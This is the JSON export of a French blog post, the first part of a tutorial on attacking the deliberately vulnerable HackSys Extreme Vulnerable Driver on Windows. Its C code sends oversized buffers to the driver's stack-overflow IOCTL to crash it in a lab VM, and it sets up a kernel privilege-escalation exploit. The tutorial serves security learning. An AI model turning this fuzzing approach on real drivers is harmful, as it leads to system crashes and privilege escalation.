{"id":598,"date":"2019-09-28T11:08:15","date_gmt":"2019-09-28T09:08:15","guid":{"rendered":"http:\/\/pentester.blog\/?p=598"},"modified":"2020-05-21T19:49:52","modified_gmt":"2020-05-21T17:49:52","slug":"windows-tuto-exploitation-dun-driver-vulnerable-1","status":"publish","type":"post","link":"https:\/\/hacktarus.fr\/?p=598","title":{"rendered":"Windows &#8211; [TUTO] Exploitation d&rsquo;un driver vuln\u00e9rable [1]"},"content":{"rendered":"\n<p>On a vu dans les pr\u00e9c\u00e9dents posts [<a href=\"https:\/\/hacktarus.fr\/?p=531\">1<\/a>] [<a href=\"https:\/\/hacktarus.fr\/?p=577\">2<\/a>] que depuis l&rsquo;espace Kernel il est possible (sous certaines conditions) d&rsquo;\u00e9lever ses privil\u00e8ges utilisateurs en modifiant son propre Access Token. Dans la d\u00e9mo c&rsquo;\u00e9tait facile car on disposait d&rsquo;une VM en mode debug Kernel et on avait le contr\u00f4le total de la VM utilisateur mais dans la vrai vie c&rsquo;est diff\u00e9rent. Il va falloir trouver un autre moyen de se retrouver dans l&rsquo;espace Kernel depuis l&rsquo;espace utilisateur. Et m\u00eame si (par bonheur) on y arrive il va falloir faire la m\u00eame chose que ce qu&rsquo;on avait fait sous WinDbg [1]  mais cette-fois en programmation. <\/p>\n\n\n\n<p><strong>Premi\u00e8re \u00e9tape (et non des moindres), passer de l&rsquo;espace utilisateur \u00e0 l&rsquo;espace Kernel<\/strong><\/p>\n\n\n\n<p>C&rsquo;est un vaste sujet et apr\u00e8s r\u00e9flexion je me suis dis que le plus simple est de montrer l&rsquo;exploitation d&rsquo;un driver volontairement vuln\u00e9rable. Je m&rsquo;explique. Comme vous le savez les drivers sont charg\u00e9s dans l&rsquo;espace Kernel donc si on tombe sur un driver un peu bugg\u00e9 et qu&rsquo;on arrive \u00e0 le faire planter via un d\u00e9bordement m\u00e9moire (un beau Stack Overflow) et \u00e0 y ex\u00e9cuter notre propre code alors on aura atteint notre premier objectif.  Parfait mais plut\u00f4t que de prendre un vrai driver du commerce vuln\u00e9rable (on verra \u00e7a dans un prochain post), on va commencer plus simple, par un driver volontairement  bugg\u00e9 dont on dispose du code source. Cela tombe bien y a un gars qui a fait \u00e7a, il est disponible ici :  <a href=\"https:\/\/github.com\/hacksysteam\/HackSysExtremeVulnerableDriver\">https:\/\/github.com\/hacksysteam\/HackSysExtremeVulnerableDriver<\/a> <\/p>\n\n\n\n<p>Je vous passe les d\u00e9tails de l&rsquo;installation du driver, interressons-nous directement \u00e0 la programmation. Quel est notre objectif ? Charger le driver, faire quelques appels et si possible le faire planter. Pour charger le driver, cela para\u00eet b\u00eate mais il faut conna\u00eetre son nom, attention on ne parle pas du nom du fichier mais de son petit nom connu par le syst\u00e8me. Y a plusieurs fa\u00e7on de le r\u00e9cup\u00e9rer mais un moyen simple est d&rsquo;utiliser un outil de Sysinternals bien connu, WinObj. Voici par exemple le nom du driver vuln\u00e9rable que l&rsquo;on cherche \u00e0 charger :<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"246\" src=\"https:\/\/hacktarus.fr\/wp-content\/uploads\/2019\/09\/HEVD-WinObj.png\" alt=\"\" class=\"wp-image-600\"\/><\/figure>\n\n\n\n<p>On obtient le m\u00eame r\u00e9sultat avec un autre outil, Dos Device Inspector :<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"705\" height=\"299\" src=\"https:\/\/hacktarus.fr\/wp-content\/uploads\/2019\/09\/HEVD-Device-Inspector.png\" alt=\"\" class=\"wp-image-601\"\/><\/figure>\n\n\n\n<p>Bon maintenant qu&rsquo;on sait que le driver s&rsquo;appelle HackSysExtremeVulnerableDriver il va falloir qu&rsquo;on  s&rsquo;interesse aux IOCTL. Hein ? Ben oui il faut bien qu&rsquo;on puisse interagir avec le driver, faire des appels pour qu&rsquo;il fasse des choses, et bien cela passe justement par les IOCTL. En fait c&rsquo;est simple. C\u00f4t\u00e9 driver, il y a un point d&rsquo;entr\u00e9e responsable de la r\u00e9ception des appels clients et du dispatch en fonction du code de contr\u00f4le envoy\u00e9 par le client. C&rsquo;est la fonction Windows DeviceIoControl qui nous permet de communiquer avec le driver,  <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/ioapiset\/nf-ioapiset-deviceiocontrol\">https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/ioapiset\/nf-ioapiset-deviceiocontrol<\/a> <\/p>\n\n\n\n<p>Ok, on a compris qu&rsquo;avec cette fonction on va pouvoir faire des appels au driver mais comment on sait quel \u00ab\u00a0Control Code\u00a0\u00bb on pourra envoyer au driver ? C&rsquo;est l\u00e0 o\u00f9 \u00e7a se corse, dans la vrai vie on n&rsquo;a pas acc\u00e8s au code source. Il faudra donc faire autrement via du reverse engineering, via un monitoring des appels, et j&rsquo;en passe mais dans notre cas d&rsquo;\u00e9cole c&rsquo;est plus simple car on dispose du code source. Tous les codes de contr\u00f4le sont d\u00e9finis dans le fichier hevd_common.h, ils commencent \u00e0 0x800 et se terminent \u00e0 0x80D.<\/p>\n\n\n\n<p>Avec le nom du driver et les codes de contr\u00f4le on a ce qui faut pour d\u00e9marrer la programmation.  On va charger le driver puis s&rsquo;amuser \u00e0 lui envoyer des cha\u00eenes de caract\u00e8res de plus en longues pour finalement le faire planter (au passage \u00e7a s&rsquo;appelle du fuzzing).<\/p>\n\n\n\n<p>Vu qu&rsquo;on sait que le driver est vuln\u00e9rable, \u00e0 un moment il va planter, mais comme on est dans l&rsquo;espace Kernel on aura droit \u00e0 un bel \u00e9cran bleu. Le mieux est de repartir sur la plateforme vue dans le premier post avec les 2 VM, l&rsquo;une \u00e9tant le d\u00e9bugger et la seconde le debuggee. Ce n&rsquo;est pas anodin, on aura acc\u00e8s \u00e0 la m\u00e9moire, \u00e0 la stack et aux registres AVANT le crash.<\/p>\n\n\n\n<p>Ok, allons-y pour le code. Commen\u00e7ons par charger le driver. Je vous renvoie \u00e0 la doc Microsoft  <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-hardware\/drivers\/kernel\/introduction-to-ms-dos-device-names\">https:\/\/docs.microsoft.com\/en-us\/windows-hardware\/drivers\/kernel\/introduction-to-ms-dos-device-names<\/a> qui dit ceci :<\/p>\n\n\n\n<p><em>To access the&nbsp;<\/em><strong><em>DosDevices<\/em><\/strong><em>&nbsp;namespace from user mode, specify&nbsp;<\/em><strong><em>\\\\.\\<\/em><\/strong><em>&nbsp;when you open a file name. You can open a corresponding device in user mode by calling&nbsp;<\/em><strong><em>CreateFile()<\/em><\/strong><em>.  <\/em><\/p>\n\n\n\n<p>OK mais comme on est en langage C et qu&rsquo;il faut doubler les antislashs \u00ab\u00a0\\\u00a0\u00bb il faut coder quelque chose comme ceci :<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>HANDLE device = CreateFileA(\"\\\\\\\\.\\\\HackSysExtremeVulnerableDriver\",\n         GENERIC_READ | GENERIC_WRITE,\n         NULL,\n         NULL,\n         OPEN_EXISTING,\n         NULL,\n         NULL\n     );<\/code><\/pre>\n\n\n\n<p>Ok maintenant on va \u00e9crire la fonction qui envoie des buffers de donn\u00e9es au driver.  Comme dit plus haut on va utiliser la fonction DeviceIoControl. Regardons d&rsquo;un peu plus pr\u00e8s les param\u00e8tres de cette fonction,  <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/ioapiset\/nf-ioapiset-deviceiocontrol\">https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/ioapiset\/nf-ioapiset-deviceiocontrol<\/a> <\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code> BOOL DeviceIoControl(\n  HANDLE       hDevice,\n  DWORD        dwIoControlCode,\n  LPVOID       lpInBuffer,\n  DWORD        nInBufferSize,\n  LPVOID       lpOutBuffer,\n  DWORD        nOutBufferSize,\n  LPDWORD      lpBytesReturned,\n  LPOVERLAPPED lpOverlapped\n); <\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>hDevice  : c&rsquo;est facile, on passe le handle r\u00e9cup\u00e9r\u00e9 lors du chargement du driver<\/li><li>dwIoControlCode : c&rsquo;est le code de contr\u00f4le \u00e0 envoyer. On a vu que pour notre driver vuln\u00e9rable ils d\u00e9marrent \u00e0 0x800, prenons celui-l\u00e0 il correspond \u00e0 HACKSYS_EVD_IOCTL_STACK_OVERFLOW ( hevd_common.h )<\/li><li>lpInBuffer : c&rsquo;est le fameux buffer de donn\u00e9es \u00e0 envoyer au driver. Traditionnellement on envoie une longue cha\u00eene de &lsquo;A&rsquo; pour voir lors du plantage si on trouve bien plein de &lsquo;A&rsquo; sur la stack et sur le registre d&rsquo;instruction.<\/li><li>nInBufferSize : la taille du buffer d&rsquo;entr\u00e9e<\/li><li>lpOutBuffer : inutilis\u00e9 dans notre exemple de fuzzing<\/li><li>nOutBufferSize : inutilis\u00e9 dans notre exemple de fuzzing<\/li><li>lpBytesReturned : inutilis\u00e9 dans notre exemple de fuzzing<\/li><li>lpOverlapped :  inutilis\u00e9 dans notre exemple de fuzzing <\/li><\/ul>\n\n\n\n<p>Bon on a tout ce qu&rsquo;il faut pour \u00e9crire un code qui charge le driver et envoie un buffer remplit de &lsquo;A&rsquo;. Ce qui est int\u00e9ressant c&rsquo;est de faire varier la taille du buffer jusqu&rsquo;au plantage. Bon sans plus tarder voici le code source. Plut\u00f4t que de r\u00e9inventer la roue, je vous met le code de la d\u00e9esse du reverse engineering, j&rsquo;ai nomm\u00e9 <strong>hasherezade<\/strong> sans qui j&rsquo;en saurai beaucoup moins sur les malwares, le kernel et un tas d&rsquo;autres sujets, voila c&rsquo;est dit.<\/p>\n\n\n\n<p>Pour les press\u00e9s, la vid\u00e9o de d\u00e9monstration est juste apr\u00e8s le code source.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;stdio.h>\n#include &lt;windows.h>\n#include \"hevd_comm.h\"\n#include \"util.h\"\n\nHANDLE open_device(const char* device_name)\n{\n    HANDLE device = CreateFileA(device_name,\n        GENERIC_READ | GENERIC_WRITE,\n        NULL,\n        NULL,\n        OPEN_EXISTING,\n        NULL,\n        NULL\n    );\n    return device;\n}\n\nvoid close_device(HANDLE device)\n{\n    CloseHandle(device);\n}\n\nBOOL send_ioctl(HANDLE device, DWORD ioctl_code, DWORD bufSize)\n{\n    \/\/prepare input buffer:\n    PUCHAR inBuffer = (PUCHAR) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);\n\n    if (!inBuffer) {\n        printf(\"[-] Alloc failed!\\n\");\n        return FALSE;\n    }\n    \/\/fill the buffer with some content:\n    RtlFillMemory(inBuffer, bufSize, 'A');\n\n    DWORD size_returned = 0;\n\n    printf(\"Sending IOCTL: %#x\\n\", ioctl_code);\n    BOOL is_ok = DeviceIoControl(device,\n        ioctl_code,\n        inBuffer,\n        bufSize,\n        NULL, \/\/outBuffer -> None\n        0, \/\/outBuffer size -> 0\n        &amp;size_returned,\n        NULL\n    );\n    \/\/release the input bufffer:\n    HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);\n    return is_ok;\n}\n\nint main(int argc, char *argv[])\n{\n    HANDLE dev = open_device(kDevName);\n    if (dev == INVALID_HANDLE_VALUE) {\n        printf(\"Cannot open the device! Is the HEVD installed?\\n\");\n        system(\"pause\");\n        return -1;\n    }\n    printf(\"Device opened!\\n\");\n    DWORD index = 0;\n    print_info();\n\n    while (true) {\n        printf(\"Choose IOCTL index: \");\n        scanf(\"%d\", &amp;index);\n        DWORD ioctl_code = index_to_ioctl_code(index);\n        if (ioctl_code == -1) {\n            print_info();\n            continue;\n        }\n        printf(\"Supply buffer size (hex): \");\n        DWORD bufSize = 0;\n        scanf(\"%X\", &amp;bufSize);\n        BOOL status = send_ioctl(dev, ioctl_code, bufSize);\n        printf(\"IOCTL returned status: %x\\n\", status);\n        printf(\"***\\n\");\n    }\n    close_device(dev);\n    system(\"pause\");\n    return 0;\n}<\/code><\/pre>\n\n\n\n<p> Bon allons tester ce code et faisons crasher le driver. Plut\u00f4t qu&rsquo;un long discours, voici une vid\u00e9o de d\u00e9monstration avec des petits commentaires :<\/p>\n\n\n\n<figure class=\"wp-block-video\"><video height=\"1080\" style=\"aspect-ratio: 1920 \/ 1080;\" width=\"1920\" controls src=\"http:\/\/hacktarus.fr\/wp-content\/uploads\/2019\/09\/Windows-Tuto-Kernel-Fuzzing.mp4\"><\/video><\/figure>\n\n\n\n<p>Ceci conclut la premi\u00e8re partie de ce tuto. Nous verrons dans le prochain post comment exploiter le crash en codant un exploit qui nous donnera les privil\u00e8ges syst\u00e8me.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>On a vu dans les pr\u00e9c\u00e9dents posts [1] [2] que depuis l&rsquo;espace Kernel il est possible (sous certaines conditions) d&rsquo;\u00e9lever ses privil\u00e8ges utilisateurs en modifiant son propre Access Token. Dans la d\u00e9mo c&rsquo;\u00e9tait facile car on disposait d&rsquo;une VM en mode debug Kernel et on avait le contr\u00f4le total de la VM utilisateur mais dans &hellip; <a href=\"https:\/\/hacktarus.fr\/?p=598\" class=\"more-link\">Continuer la lecture de <span class=\"screen-reader-text\">Windows &#8211; [TUTO] Exploitation d&rsquo;un driver vuln\u00e9rable [1]<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-598","post","type-post","status-publish","format-standard","hentry","category-pentest"],"_links":{"self":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/598","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=598"}],"version-history":[{"count":24,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/598\/revisions"}],"predecessor-version":[{"id":628,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=\/wp\/v2\/posts\/598\/revisions\/628"}],"wp:attachment":[{"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=598"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=598"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacktarus.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=598"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}